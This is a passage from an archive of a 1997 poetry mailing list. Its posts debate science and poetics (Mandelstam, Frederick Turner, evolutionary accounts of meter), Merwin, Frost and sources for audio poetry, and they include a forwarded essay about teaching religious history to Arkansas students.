Maybe the reason some poets & critics turn to science in thinking about poetry is that it's a way to finesse the raw/cooked or wild/cultured dichotomies. As usual, I'm thinking of Mandelstam & his fascination with biology, mineralogy, & mathematics (which goes for Celan, for another). M's use of biological vocabulary to describe the metamorphoses of imagery in Dante, for example; or his poem about Lamarck the evolutionist in scientific/Dantesque combination. What scientific frameworks does is create a space in which the genuine novelty of the "wild" [i.e., as Mandelstam wrote somewhere, "Poetry is language in a state infinitely more raw than prose or everyday speech"] can be "boxed" in a highly refined intellectual-cultural framework (science) - and at the same time, science in turn is "framed" by the wildness of poetry. Another major motive for Mandelstam here was his connection with romanticism & 19th-century Russian poetry. His friendship with professional naturalists was both an acmeist "kinship with the earth" & earthly things and also a sphere of personal & intellectual freedom (relatively speaking) from ideology. That's my Mandelstam lecture for this week. Science (pace Sokal-haters) like music is a stab at a universal language. - Henry Gould

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136. Steven Marks
MacProse
Fri 7 Nov 1997

To anybody interested in program that generates sentences or fragments, you may want to download this program at Charles Hartman's home page:

Virtual Muse: Experiments in Computer Poetry, Wesleyan University Press/University Press of New England (1996), has an attachment here: a downloadable Macintosh version of the PROSE program described in the book: download MacProse.

His URL is: http://camel.conncoll.edu/ccother/cohar/

It's fun and it's free!

cheers,
Steven

Steven Marks

http://members.aol.com/swmarks/welcome.html

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137. David Kellogg
Re: Frederick Turner's The Culture of Hope
Fri 7 Nov 1997

Tim, read my post: I didn't dismiss all of Turner's work as stupid; I only dismissed "The Neural Lyre," called his epic poems "repulsive" to my taste, and complimented his understanding of chaos theory.

Nor do I mind defenses of rhyme and meter, although I do object to dismissals of unmetered forms as NOT POETRY (as Turner essentially did in a footnote to "Neural Lyre").

And as I said, I don't dismiss a neurobiological framework by any means.

I'm in agreement with Patrick Pritchett's view that to say poetry is "for" something is deeply problematic. However, I wouldn't call it utilitarian; I'd call it adaptationist, or, to use Stephen J. Gould's phrase, a variant of "Darwinian fundamentalism." Tim, your description of Turner's project seems to align Turner with evolutionary psychology, a speculative collection of 'just-so' stories exemplified by the likes of Steven Pinker, who was throttled by Gould in a recent exchange in the New York Review of Books.

Explanations of poetry in evolutionary terms, in addition to being likely composed of fantasy and confabulation, can tell us nothing about contemporary possibilities even if they're completely accurate. And they certainly cannot prescribe what is good or bad in current poetry, since the conditions under which poetry is presently composed have little to do with the ritual performances of furry forbears.

On another note, somebody else on this thread plugged Amittai Aviram's work: I would also recommend it. _Telling Rhythm_ is a different kind of account, one that defends the universality of rhythmic structures in different (primarily Nietzschean) terms.

Cheers,
David
-----Original Message-----
From: [redacted] <[redacted]>
To: [redacted] <[redacted]>
Date: Friday, November 07, 1997 10:55 AM
Subject: Re: Frederick Turner's The Culture of Hope

> *To simply reject Frederick Turner's work as stupid is to dismiss some of the most important thinking being done today concerning the place of poetry in the world. While I agree that in the essay "The Neural Lyre" Turner can justifiably be accused of a certain amount of scientific reductionism, his work overall is perhaps the most interesting contemporary attempt to understand poetry as a universal human endeavor. I'm with Joseph Tate here, neurobiology does have some vital things to say about "what poetry is for." Turner's stance, at its heart is quite simple (see his book Natural Classicism for its most straight-forward elucidation): the roots of literature are in ritual performance and that, in turn, is rooted in our biological, evolutionary inheritance.*
>
> *Turner (incidentally, the son of the anthropologist Victor Turner) is the leading light of the New Formalist movement, with their evil agenda--defending narrative, rhyme and meter--and his poetic work, I think, will not appeal to many on this list, but I think it unwise to cursorily dismiss his writing. Turner is dealing with some vital and elementary questions in some surprisingly synthetic ways and, agree or disagree, some familiarity with his work is bound to deepen one's attempts to place the poetic impulse within the larger human endeavor. While I don't necessarily agree with Turner on his conclusions that current research justifies the type of closed structure he advocates, I have found his work, at the very least, a healthful corrective to some of the deadening and dysfunctional theory that currently bogs down contemporary work.*
>
> *Best,*
> *Tim Cloward*

> *Graduate Student*
> *University of Texas at Dallas*

↑ Index

138. **JforJames**
Re: Frost
Fri 7 Nov 1997

In a message dated 97-11-07 13:23:00 EST, you write:

> *Someone else said that Frost was a second-rate versifier, too. That's a little harsh, isn't it?*

Yes, even if one has diverged from road taken by Frost in American poetry, one would have to give him his due as a first-rate versifier--or better said, highly-accomplished within formal constraints. Also, as Randall Jarrell ably pointed out in his essay "The other Frost," there is a very different poet behind poems like Directive, Neither Out Far Nor In Deep, An Old Man's Winter Night, etc --different from The Road Not Taken, (a swinger of) Birches, etc. To quote Jarrell, "These views of Frost come either from not knowing the poems well enough or knowing the wrong poems too well."

Finnegan

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139. **Jordan Davis**
Re: Merwin
Fri 7 Nov 1997

Asked and answered -- if there's something you want "this list" to talk about, you talk about it. Proceed, counsel.

Signed,
Right Honorable Bumfuck Toothdecay

On Fri, 7 Nov 1997, Brent Long wrote:

> *going to give my focus to". My idea of poetry is not that narrow. I would really like to see this list encompass a broader range of poets and their work to discuss. We owe that to ourselves and to people who turn to this fine list as a source for keeping up with what is going on in poetry these days.*

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140. robert drake
Re: audiopoesis
Fri 7 Nov 1997

> *A few other sources for audio*

Brazen Oralities:

http://www.infobahnos.com/~brazen/

is a newsletter w/ origins in a radio show, i believe that specializes in micro-press spoken word. the print version (2 issues that i know ov) have more complete info than th website; overall an excellent source fr the fugitive & sub-terrain.

Larry Wendt's "Narrative as Genealogy: Sound Sense in
an Era of Hypertext"; in a back issue of Switch:

http://cadre.sjsu.edu/switch/sound/articles/wendt/nghome.htm

has a useful discography:

http://cadre.sjsu.edu/switch/sound/articles/wendt/folder5/ng512.htm

Underwich Audiographics series carried some of the best sound-
poetry frm Canada; may be available frm damian lopes at
Afterwords:

http://www.interlog.com/~dal/after/index.html

mineown _TapRoot Reviews_ has covered a number of audio releases, w/ features in issues #4, #7/8, and #9/10. backchannel fr info.

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141. Chauncy Dicey
Re: Merwin
Fri 7 Nov 1997

On Fri, 7 Nov 1997 14:02:23 -0500 Jordan Davis said:
>Asked and answered -- if there's something you want "this list" to talk
>about, you talk about it. Proceed, counsel.
>
>Signed,
>Right Honorable Bumfuck Toothdecay

I say Bummy, old boy, I never kniew that was how you spelled the ultimate cognomen - any chance you're related to the Toothdecays over on Spivey-By-the-Spam? The Wrewnchy-Toothdeckies? Or is it Runcie? Biffun' good lot of em up that way, I'll say. Must be 300 Uncle Buckies! All horsey as can! - Chauncy

Dicey oh blither it, I should've backchunneled - tods it then. I'll buy you all a dry oonch, what?

↑ Index

142. James Finnegan
Re: Frederick Turner's The Culture of Hope
Fri 7 Nov 1997

In a message dated 97-11-07 02:45:50 EST, you write:

> *Yet, while I agree with you, I seem to have found few others who even try to join the discussion of poetic meter and psychobiology at all.*

I remember about 10 years ago Peter Viereck, in an piece published in Poets & Writers (maybe CODA then), posited that iambic (and trochaic) meters were often employed by poets because they were "in sync" with such biological rhythms as the heart’s systole/diastole, breathing, human locomotion and copulation. (The subtext of the essay was that regular meter was inherently good because it was natural.) I didn't think much of his argument since even a casual investigation of the world’s poetries would show many, many different patterns prevailing in other countries/cultures outside of the English-speaking world’s dominant ta-tum, ta-tum, ta-tum…Yet, humans, wherever they might live on this earth, are quite similar physiologically. Meter, it seems, must be enculturated or language-bound, and not a matter of biology—nurture, not nature.

Finnegan (Not a Biology Major)

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143. Lawrence Upton.
Writers Forum publications
Fri 7 Nov 1997

Writers Forum have published 2 folders

FUMING by Bob Cobbing and Lawrence Upton - 12 polychrome text _total_ collaborations, spin off from / related to Domestic Ambient Noise, edition of 10 copies

+

THE COLOUR OF SOUND - THE SOUND OF COLOUR by Bob Cobbing - 12 polychrome texts, edition of 12

each L45 forty five pounds plus L5 p & p

i am sorry I did say forty five pounds from Writers Forum cheques payable to New River Project - contact WF if you cannot pay sterling cheques

Writers Forum, 89a Petherton Rd, London N5 8QT, UK

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144. **acgold01**
Contact info
Fri 7 Nov 1997

To: POETI --CMS

Alan Golding
Prof. of English, Univ. of Louisville
[redacted]; [redacted]
Subject: Contact info

Does anyone have the quickest way to contact--by e- or snail mail--Robin Blaser, Robert Creeley, and Joanne Kyger? I know I can write Robin and Bob c/o their departments, but thought some of the respective locals might know if they're actually around or not. (I know RC's been on the West coast recently.) Joanne I don't have any kind of address for--still in Bolinas? Anyway, I need to write them regarding some copyright permissions pronto.

Backchannel please? And thanks for your help.

Alan G.

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145. **William Burmeister Prod**
Re: Speaking American
Fri 7 Nov 1997

Perhaps I have missed the point implicit in the first post in this thread, but I'd say that the author of this piece (Michael Quilty) is a card carrying member of the explorers club who has taken to some old fashioned rural American and Christian bashing. (I'm glad you find those peculiar creatures so tarty and crunchy!) I will wait for the next National Geographic where we can expect to see Michael Quilty like a Jane Goodall afield in the Ozarks in his kahaki and pith helmut taking notes on barnyard mating habits and woodsy puberty rites. I don't have to subscribe to a revisionist, maudlin Burnsian view of Americana to find this piece with its presumptuous style putrid. I realize that many have arrived here only to find that this country can be a cruel and injust place, a big joke. But I can't see how Mr.Quilty's harrowing experiences in Arkansas qualify him for pity. He's just trashing a place (and hell, he still lives there). Someone elses home and lifestyle.

An easy assumption or expectation of universal agreement (at least in cosmopolitan company) permeates this cheap shot. I mean, why not look for an easier target to take out! It is indeed sad that these youngins aren't yet up to their Christian apologetics. At least Mark Weiss intelligently points up to the lack somewhat with his reply.

William Burmeister

> *Here's a couple of stories from two classes that I taught in Tucson. Call them extensions of and partial correctives to your data.*
>
> *I arrived in Tucson on the eve of the Gulf War. In all that patriotic frenzy I decided to ask my Freshman Comp students to write about the crisis from Saddam Hussein's point of view. None of them would do it--they thought that even entertaining the fantasy was unpatriotic. Half of them transferred out of my class, which wasn't such a bad thing--it actually made it possible for me to teach the remnant.*
>
> *Of those left about a third were hispanic, and all professed to be Christians. Before Easter I suggested that some of them might like to go to Old Pascua, a tiny Yaqui reservation surrounded by Tucson, to see the half-pagan ceremonies, at which point my brightest student raised his hand and asked, "Mark, what's Easter about?"*
>
> *When I was able to get my mouth working again I determined that he wasn't putting me on, and I asked the class which of them knew that Easter was a celebration of the crucifiction and resurrection of Christ. Only the hispanic kids raised their hands. In the ensuing discussion I learned that for the other kids Easter had always been a secular holiday for Christian children, involving bunnies and chocolate.*
>
> *During my second year in Tucson I taught an American lit course. I had the kids read a rather floridly Calvinist captivity narrative. What they found most exotic about it was the brand of Christianity. To a man or woman they professed membership in radical Protestant sects, but they didn't recognize the protagonist as a coreligionist. They all believed in god, virgin birth, baby Jesus and heaven, but they didn't believe in hell and had never heard of original sin.*
>
> *This same group, when I polled them when we were reading Fear and Loathing in Las Vegas (it was an interesting, not to say eccentric, syllabus), admitted, with two exceptions, to smoking pot, and with three exceptions, to snorting coke.*
>
> *So maybe the defensiveness about their religion, and the bigotry, remain, but not much else. Those kids who carried their bibles nonetheless had to check before answering even the simplest questions, after all. And maybe all those surveys that purport to tell us that Americans are the most religious people on earth, greatly comforting the Christian Coalition, ask the wrong questions. Apparently it's the Disney version, not the King James, that the kids and their elders are reading.*

Is that a hopeful thought?

Subject: Speaking American
Date: Sun, 26 Oct 1997 14:15:18 -0600 (CST)
From: Michael Quilty <[redacted]>
X-Sender: [redacted]

Speaking American

Sometimes you forget that you're in an Alien land in which you can never expect to be comfortable. Then, fortunately, you're reminded.

It was in the last half-decade of the twentieth centuy that I arrived in that odd country called 'The United States'. When I lived in Canada I confessed to one day wanting to visit four American cities--Boston, New York, San Francisco, and New Orleans. I ended up in a paint fleck of a town called Fayetteville, Arkansas, a fleck whose main significance at the time was that it was where former President Bill Clinton and his wife Hilary bought their first house.

That first year was largely one of observation, since [though I had met Americans before] I had never been in such close proximity to so many of these peculiar creatures at once. As I was an Anglophone Canadian [a species of North American prone to identity crises], the observation was punctuated by long spells of morose introspection, with which I will not burden you. I was able to protect myself from the full force of America that first year because, by happy accident, I ended up in a dorm that was peopled mostly by foreign students. I was thus able to bond with a community which saw the natives to be as unusual as I did.

It was around the beginning of my second year there that I realised that, backwater that it is, Arkansas was a microcosm of all that was happening in the United States at the time. I was able to reach this conclusion because, starting in the second year, my expereince with the people of the Arkansas was intensified, and diffracted, through the lens of the classroom. I was associated with one of the departments of the University of Arkansas, a department which believed that its graduate students should work as qualified professors while being paid as if they were teaching assistants, which was my official title.

My last stop in the academic transhumance of 'teaching assistantship' was on the West coast of Canada, in Vancouver, and it was there that I had had my most recent classroom experiences. On the surface the students seemed not so different from the kids I had encountered in Vancouver--innocent types, tarty types, crunchy types, jocks, well-educated and intelligent Europeans (both young women as it happens), a mature student who knew more about the subject than I did, but who refrained from speaking up in class for fear of dominating it, a smattering of American imports, and the odd

hard-working intelligent local young person. Odd, I must stress odd.

Sometimes, though, there are strong currents running 'neath the surface of the seemingly most stagnant of pools. By about the mid-point of the semester I was dragging my increasingly bored charges through the late Roman Empire and interregnum. Time, then, for Christianity to rear its ugly head as a topic of discussion. I remember now receiving warnings about how dangerous this would be from a former colleague of mine [she had since fled the sinking ship of the King Fahd Centre for UCLA] but in that hectic semester the warnings had obviously remained neglected under some pile of papers or dirty laundry somewhere.

My students weren't doing particularly well on my weekly quizzes, designed to allow them to show me that they'd read and understood the textbook [which was pitched, I believe, to a tenth-grade reading level]. But, I reasoned, History is really about sources and biases, so I allowed them to make up extra credit by eye-balling one of the documents in the textbook and putting it in the context of that week's chronology [I laughingly refered to this exercise in summary as 'primary source analysis']. They hadn't been doing very well with these either, which led me to believe that tenth grade is no longer what it used to be, or perhaps no longer what it used to be in the United States.

When Christianity reared itself up out of the frothy waters of the Roman Imperial period, there was a sudden overwhelming demand from students to prepare an analysis of a particular document--a snippit from the Sermon on the Mount. The students who won the lottery were, both of them, soft-spoken and not terribly bright older women. When the time came for them to present their 'analyses' they [independently] gave me the least historical treatment of a document that I have ever seen. The problem didn't rest with the presenters' intellectual short-comings, but in the rest of the class. Though willing to pour their scepticism over the documents dealing with the [up to that point pagan] political figures in the text, this scepticism was now replaced by vacuous smiles, head-nodding, and (to my dismay) scramblings to THEIR BIBLES to answer a question I asked about whether or not the evangelist Matthew was one of the Apostles.

Around the centre of the classroom there were a clot of two or three guys, all sharing a bible. When they came to the passage that they were looking for [a confirmation (I assume) that Matthew was, in fact, one of the apostles] they all made made fists with their right hands and punched the air in celebration. It was much the same gesture that I have seen on the part of men watching baseball on television. After an ad-long debate on some fine statistical point or other [number of errors or Rs-B-I on the part of a particular player, etc.], the colour commentator returns to verify the claims of one beer-drinking statistician or the other. Thence the air-punching.

'My god,' I said to one of my skater-boys, a pair of silver lame glasses adorning his bleached hair, 'you're packin' a Bible?'

'Of course,' he smiled.

Turns out most of them were carrying Bibles. And most of them worked very hard to turn the rest of the period into a revivalist 'Let us declare our faith unto HIM' session. My increasingly frazzled [I'd been up since two in the morning working on a presentation] efforts to coax them back to an 'analytical' frame of mind were met by stares of incomprehension. Clearly Christianity was not an appropriate subject for historical analysis.

This should not have surprised me, since Arkansas is an integral part of the post-consumerist paunch fettered beneath the Bible Belt. But I was surprised, and deceived, by the apparent normalcy of my students. The following week when I attempted to discuss the role of syncretism in the rise of Chistianity in the West--the way the early Christians placed certain feasts on the same days as older pagan festivals as a way of improving sales in those communities--the vacuous smiles turned to brow-furrowed hostility.

'You mean to tell me,' demanded one young fellow who insisted upon calling himself a History major, 'that all our feast days are MAN-MADE?'

I blinked back at him, wondering what he could be asking.

'Of course they're man-made. Who else do you think made them?'

More disturbing to me was the students' readiness to resume their cynicism about the material as soon as the early Christianity of the martyrs became 'Catholic Christianity,' since Catholicism is 'Worldly Anti-Christianity', the Whore of Babylon, and all that. It is not so much their intimate association with the early Christian church that bothers me--that's what Protestantism is all about, isn't it. It is their self-separation from the long continuity of History [and for that matter Christianity after the consolidation of the Roman church] that is so worrisome. It is as if these people are reacting against the worldly excesses of late imperial America by removing themselves from the world, just like the Hellenistic philosophies and religions--the early Epicurians and Mystery Religions--tried to do. 'Epicurians.' 'Mystery religions.' Subjects described in this textbook that my students swear they read but which they do not understand.

These the citizens of the mightiest military-and-democratic power in the world.

> *George Bowering.*
>
> *,*
>
> *2499 West 37th Ave.,*
> *Vancouver, B.C.,*
> *Canada V6M 1P4*
>
> *fax:* [redacted]
> *-- End of excerpt from George Bowering*

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146. **Harold Rhenisch**
EP, poet, raw and cooked
Fri 7 Nov 1997

Henry Gould wrote:

Maybe the reason some poets & critics turn to science in thinking about poetry is that it's a way to finesse the raw/cooked or wild/cultured dichotomies.

I like that.

It made me think, tho':

wot about dear ol' uncle Ez, who came up with his Thee or re. that mythology came about as an attempt to explain experiences in scientific terms. Not a lot of finesse there.

Give me Celan over that any day.

Geez, wot if sigh ants is a sub dis zeppelin of poet, re.?

Harold Rhenisch
[redacted]

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147. **mark weiss**
Re: MacProse
Fri 7 Nov 1997

I have a program that generates meaningful silence. It has no URL, but hey, you save the phone call.

At 01:18 PM 11/7/97 -0500, you wrote:
>To anybody interested in program that generates sentences or fragments,
>you may want to download this program at Charles Hartman's home page:
>

>Virtual Muse: Experiments in Computer Poetry, Wesleyan University
>Press/University Press of New England (1996), has an
>attachment here: a downloadable Macintosh version of the PROSE program
>described in the book: download MacProse.
>
>His URL is: http://camel.conncoll.edu/ccother/cohar/
>
>It's fun and it's free!
>
>cheers,
>Steven
>
>_____
> Steven Marks
>
> http://members.aol.com/swmarks/welcome.html
>_____
>
>

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148. **mark weiss**
(no subject)
Fri 7 Nov 1997

This is urgent. Does anybody have a fix on where to reach Rae Armantrout today in San Francisco? Please backchannel.

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149. **mark weiss**
Re: Frederick Turner's The Culture of Hope
Fri 7 Nov 1997

What you remember as a subtext was, in fact, quite explicit, and is, on the face of it, as you point out, absurd. It also misunderstands formal English metrics, which is stress-, not quantity-, based, so that all iambs are not created equal. The febrile poet is perhaps the fibrillating poet. We can infer other things about Mr. Viereck: he never skips, and he's not very imaginative in bed.

Is this true of all neo-formalists?

Iamb, therefore iamb.

At 03:26 PM 11/7/97 -0500, you wrote:
>In a message dated 97-11-07 02:45:50 EST, you write:
>
>>Yet, while I agree with you, I seem to have found few others who even try
>>to join the discussion of poetic meter and psychobiology at all.
>
>I remember about 10 years ago Peter Viereck, in an piece published
>in Poets & Writers (maybe CODA then), posited that iambic (and
>trochaic) meters were often employed by poets because they were
>"in sync" with such biological rhythms as the heart's systole/diastole,
>breathing, human locomotion and copulation. (The subtext of the essay
>was that regular meter was inherently good because it was natural.)
>I didn't think much of his argument since even a casual investigation
>of the world's poetries would show many, many different patterns
>prevailing in other countries/cultures outside of the English-speaking
>world's dominant ta-tum, ta-tum, ta-tum…Yet, humans, wherever
>they might live on this earth, are quite similar physiologically.
>Meter, it seems, must be enculturated or language-bound, and not
>a matter of biology—nurture, not nature.
>
>Finnegan (Not a Biology Major)
>
>

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150. **Thomas Bell**
Re: Frederick Turner's The Culture of Ho
Fri 7 Nov 1997

Yes, people respond to rhythm and probably there is a biological basis for this. However, this is irrelevant to the assertion that one type of rhythym is preferrable in any sense, whether that preference is based scientifically or aesthetically. Aviram's argument is more sophisticated, as someone else pointed out.
tom bell

At 11:06 AM 11/7/97 -0500, Pritchett,Pat @Silverplume wrote:
>Interesting post, Tim. I'm by no means convinced however that poetry is
>_for_ anything, as you put it. For as soon as it's for something, it's also
>not for something else. In a word, this description smacks of the
>utilitarian. As Stephen Rodefer put it (quoted from Mark Prejsnar's latest
>ish of Misc. Proj) "It's not the business of poetry to be anything."
>
>I haven't read "The Neural Lyre," but from your account Turner appears to be

>falling into the old nostalgia of the arts to locate its roots in the
>empirical. I don't why people still fall prey to this anxiety - this desire
>to locate roots as though the biological of itself can confer legitimacy,
>can alleviate the angst which poetry suffers whenever it compares itself to
>the sciences. Isn't it enough to say that poetry is a cultural product? That
>whatever dim primeval impulse first stimulated its rudimentary expressions
>that by now - several millennia later - poetry is a cultural construction
>and requires no further justification than that? As if it needed any in the
>first place.
>
>Patrick Pritchett
> ----------
>From: cloward
>To: POETICS
>Subject: Re: Frederick Turner's The Culture of Hope
>Date: Friday, November 07, 1997 9:51AM
>
>
>To simply reject Frederick Turner's work as stupid is to dismiss some of
>the most important thinking being done today concerning the place of
>poetry in the world. While I agree that in the essay "The Neural Lyre"
>Turner can justifiably be accused of a certain amount of scientific
>reductionism, his work overall is perhaps the most interesting
>contemporary attempt to understand poetry as a universal human endeavor.
>I'm with Joseph Tate here, neurobiology does have some vital things to say
>about "what poetry is for." Turner's stance, at its heart is quite simple
>(see his book Natural Classicism for its most straight-forward
>elucidation): the roots of literature are in ritual performance and that,
>in turn, is rooted in our biological, evolutionary inheritance.
> Turner (incidentally, the son of the anthropologist Victor Turner)
>is the leading light of the New Formalist movement, with their evil
>agenda--defending narrative, rhyme and meter--and his poetic work, I
>think, will not appeal to many on this list, but I think it unwise to
>cursorily dismiss his writing. Turner is dealing with some vital and
>elementary questions in some surprisingly synthetic ways and, agree or
>disagree, some familiarity with his work is bound to deepen one's attempts
>to place the poetic impulse within the larger human endeavor. While I
>don't necessarily agree with Turner on his conclusions that current
>research justifies the type of closed structure he advocates, I have found
>his work, at the very least, a healthful corrective to some of the
>deadening and dysfunctional theory that currently bogs down contemporary
>work.

>
>Best,
>Tim Cloward
>
>Graduate Student
>University of Texas at Dallas
>
>

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151. **Stephen Cope**

Re: audiopoesis

Fri 7 Nov 1997

The Archive for New Poetry at UCSD has numerous cassettes, although I'd have to check regarding sales, availability, etc. Let me know backchannel if you're interested...

Stephen Cope

> *A few other sources for audio (and video)*
>
> *The Annenberg/CPB Project*
> [redacted]
> *(They did Voices & Visions)*
>
> *HarperCollins (Caedmon)*
> [redacted]
> *(This is an old source, not so contemporary.)*
>
> *Ladyslipper*
> [redacted]
> [redacted]
> *(Specializes in women. Catalogue lists tapes from various producers.)*
>
> *Not sure if this is still current. It is an old listing from the Poetry Center catslogue.*
>
> *There is a list of other audio and video sources at the back of the Poetry Center Catalogue published in 1990.*
>
> *Pacifica Foundation*
> [redacted]
> *(KPFA, KPFK, WBAI etc) I'm not sure they are still around to sell tapes.*
>
> *Poet's House*

> [redacted]
>
> *Were going to sell the tapes of 92nd St Y and Academy readings as of 1990*
> *-*
>
> *The Roland Collection (British)*
>
> [redacted] *(US #)*
>
> *011-44-79721421*
>
> *Video - very large collection of weel-known writers*
>
> *Watershed has been mentioned*
> [redacted]
>
> *I find that doing a Hotbot or other search can result in finding new sources*
> *Of course the Poetry Center at SFSU has a large collection - for anyone new to the list.*
>
> *http://www.sfsu.edu/~newlit*
>
> *Laura Moriarty*

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152. **Aviva Vogel**

Re: C.D. Wright/Other poets for discussion

Fri 7 Nov 1997

Brent, I just met C.D. at Bread Loaf in August. Fascinating woman; handled some interesting political challenges with great acumen, gave a fascinating reading and quirky but brilliant lecture, and was very accessible, too. Volunteered to give me a half hour conference, in spite of having a regular load of students to handle.

Anyway, I think your point about the contrast between "Tremble" and earlier books in regard to C.D.'s attention to "craft and cadence" (if I remember your phrase correctly) is worthy of further research! I haven't yet read her work, but will, with an eye toward looking at her evolution. I'll be back tomorrow night with some comments.

Aviva

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153. **Michel Delville**
French poets born after 1950
Sat 8 Nov 1997

Try Pierre Alferi, Michelle Grandgaud, Alain Veinstein and Olivier Cadiot. I'm not sure Danielle Collobert qualifies since she was born in 1940 (died in the late 1970s, I think), but you might want to check her out anyway.

<Tom Orange wrote: <speaking of roubaud, i've been reading around a lot in the likes of <michel deguy, jacques dupin, anne-marie albiach, claude royet-journoud, <emmanuel hocquard, jean davie, claire malroux, et al. any other names i <should be checking out, esp., say, folks born after 1950?

Michel Delville
English Department
University of Liège
3 Place Cockerill
4000 Liège
BELGIUM
fax: ++ 32 4 366 57 21
e-mail: [redacted]

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154. **Kevin Varrone**
addresses
Sat 8 Nov 1997

> anyone have a current email address for Steve McCaffery?
>
> and Lisa Jarnot?
>
> please backchannel.
>
> thanks,
>
> kevin v

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155. **Michael Magee**
Re: Speaking American
Sat 8 Nov 1997

"And maybe
>all those surveys that purport to tell us that Americans are the most
>religious people on earth, greatly comforting the Christian Coalition,

ask
>the wrong questions. Apparently it's the Disney version, not the King
>James, that the kids and their elders are reading."

This is picked up from the strain on "American-ness" and I can't quite figure out who wrote it but I'm in total agreement. The idea that Americans are the most religious people in the world (you hear it on the nightly news at least weekly in one form or another) is just plain stupid. For the huge majority of Americans, including - and perhaps *especially* - the "very religious" ones, religion is like the key chain that you can get "personalized" at the mall by having your name engraved on it. And, as far as I'm concerned, that's a damn good thing. So much easier to debunk rigid collective belief systems, which are always dangerous as such. If this means we have to encounter a lot of dopes saying "Jesus loves me, this I know, 'cause the Bible tells me so," so be it. I can live with that. In fact th basic stance that religion is finally absurdly personal, has a long and serious intellectual history - it's the history of Puritan non-conformists like Ann Hutchinson who used the Covenant of Grace to call into question the communities right to dictate her behavior. This is the same history which leads William James to write the brilliant *Varieties of Religious Experience* (emphasis squarely on variety). So, as I said, if this means you have to teach a few adolescent knuckleheads in Arkansas well, hey, that's the breaks. Is there *any* teacher on this list who doesn't have to teach knuckleheads. Penn, where I'm teaching Freshman at the moment, is full of 'em. I feel like part of my job is to destablize whatever belief system(s) they happen to bring to the table and I don't mind doing it. In fact, most of the time its fairly easy, what with those systems being houses of cards. When the beliefs are more firmly held and more thought out, so much the better - then you're into a discussion with some intellectual teeth.

-Mike.

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156. David R. Israel
Re: Merwin
Sat 8 Nov 1997

Ah Merwin.

Poet Barbour wrote,

> *Generally, I'd have to side with Patrick Pritchett on this one, although I do like a lot of his translations. But I went after a lot of the early poetry, read it, & then put it away. In regard to Creeley, whose work I return to all the time, I just am not called back to the Merwin. Except for one book, published outside his usual*

> *venues, by the late lamented North Point, _Finding the Islands_, which was something of a formal move for him as well. Not 'great' but certainly of interest to this reader...*

Finding the Islands was my door into Merwin's work -- after acquainting his name from his renderings of Ghalib (in *Ghazals of Ghalib*, which also included versions by Rich, Stafford & others).

Regrettably, Merwin himself has seemingly somewhat disowned the book -- evidently as it was from a phase of love-life that he wants to put behind him (new woman, new esthetic, so to say) -- he didn't include any of the *Islands* poems in his Selected poetry, but I note that lately he has included some of that material in *Flower & Hand*.

Anyway, here's the thing: Merwin's work at each phase has differed from prior phases -- there's been a gradual progression from decade to decade, and someone who acquainted his work only in one period would be discussing only one section of the broader picture.

As for "the Merwin" or "the Creeley" -- certainly if the first phrase is meaningful, the 2nd may be equally so.

I was WSM read at the Library of Congress a few weeks ago, first from material ranging through earlier years, and 2nd from new work yet to be published. I enjoyed all of it tremendously -- as I have every time I've heard this fine man read over the years.

Sorry to see many have not found what I find there.
c'est la vie

To what extent is the response a response to the writing as such, & to what extent is it a reaction to the 'success story' phenomenon of a poet who happens to attract a lot of accolades? --

but I've not been reading Poetics thoroughly of late, and so have missed, I think, some of the Merwin commentary . . . will try to backtrack --

W.S. Merwin is my favorite poet, I dare say. What he seeks in the endeavor of writing is not necessarily different from what others may seek -- but his manner of approach, and how far it's managed to go with it, are, for me, in some respects singular. I don't know that this is a vew I could cogently defend (at least not today), but it's nonetheless a response that might interest (if not to say surprise) some here.

best,
d.i.
.
.....

.....
\\\

| [redacted] (office)
==========
| thy centuries follow each other
| perfecting a small wild flower
| (Tagore)
//////////////////////////////////////\\\\\/////

↑ Index

158. **Matthew Hart**
Re: Speaking American
Sat 8 Nov 1997

Hello all:

I'm going to announce myself on the list (stepping out from lurker-land) by arguing with Mike, which is a safe thing to do, given that I can throw bottles at his windows from here.

Actually, I'm in general agreement with Mike's post, especially when he's talking about the classroom. But this extract below strikes me as needing some modulation:

> *This is picked up from the strain on "American-ness" and I can't quite figure out who wrote it but I'm in total agreement. The idea that Americans are the most religious people in the world (you hear it on the nightly news at least weekly in one form or another) is just plain stupid. For the huge majority of Americans, including - and perhaps *especially* - the "very religious" ones, religion is like the key chain that you can get "personalized" at the mall by having your name engraved on it. And, as*

From my British perspective, the statement "Americans are the most religious people in the world" may not seem absolutely true (ie, vs. Israel or Iran, or another theocracy) but it has a certain truth value that's sociologically important. What struck me the first time I lived in Philly was the number of young people I knew who, although they professed no real, evangelical belief, would attend major religious festivals or services, and were *extremely* loath to commit to any kind of atheism. Amongst university students in Britain, this kind of middle-class religiosity just doesn't occur.

So what, though?

Well, a couple of things. Firstly, these "key-chain" Christians (or whatever) aren't dolts, although we might want to see them as ideologically interpellated/disciplined/constructed (add your fave theoretical term here). Secondly, it seems to me that it's exactly the personalization of religion that goes on in the U.S. that allows it to survive here in the way it doesn't/hasn't/won't elsewhere. Mike's aside on the Puritan tradition seems key here,

although I'd go more with Irving Howe's comments from _Politics and the Novel_ on American individualism and its relations to politics. Howe notes that this individualist strain provokes a paradox between America(n)'s ability to situate themselves on a micro-political level and their/its corresponding inability to utilise the macro-political field:

"Personalizing everything, they could not quite do justice to the life of politics in its own right.... Personalizing everything, they could brilliantly observe how social and individual experience melt into one another so that the deformations of the one soon become the deformations the other."

In a poetics context, the relevant comparison would seem to be between this religiosity and the spectre of Eng. Lit. departments whihc, despite their theoretical sophistication, resist writing practices (creative or critical) which enact this sophistication.

But this is enough for now . . .

Matt Hart

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159. **Aviva Vogel**
Re: Merwin
Sat 8 Nov 1997

The Atlantic's poetry editor reflects on the career of W. S. Merwin, whose long association with the magazine spans great distances of geography and art

by Peter Davison

August 28, 1997

Over the past twenty-five years the poems of W. S. Merwin have appeared in The Atlantic Monthly's pages more frequently than those of any other poet. The editors have been deeply attracted to the vivid movement and activity of his poetry, which seem to flow up from an underground river that lies beneath mere speech, as though written in some pre-verbal language of which all later languages have proved to be a mere translation. Here's a sample from a 1970s poem called "The Dreamers":

a man with his eyes shut swam upward
through dark water and came to air
it was the horizon
he felt his way along it and it opened
and let the sun out

<Picture: Merwin>Merwin's work has followed his life. Born seventy years ago in Union City, New Jersey, he was raised first in a Presbyterian rectory looking

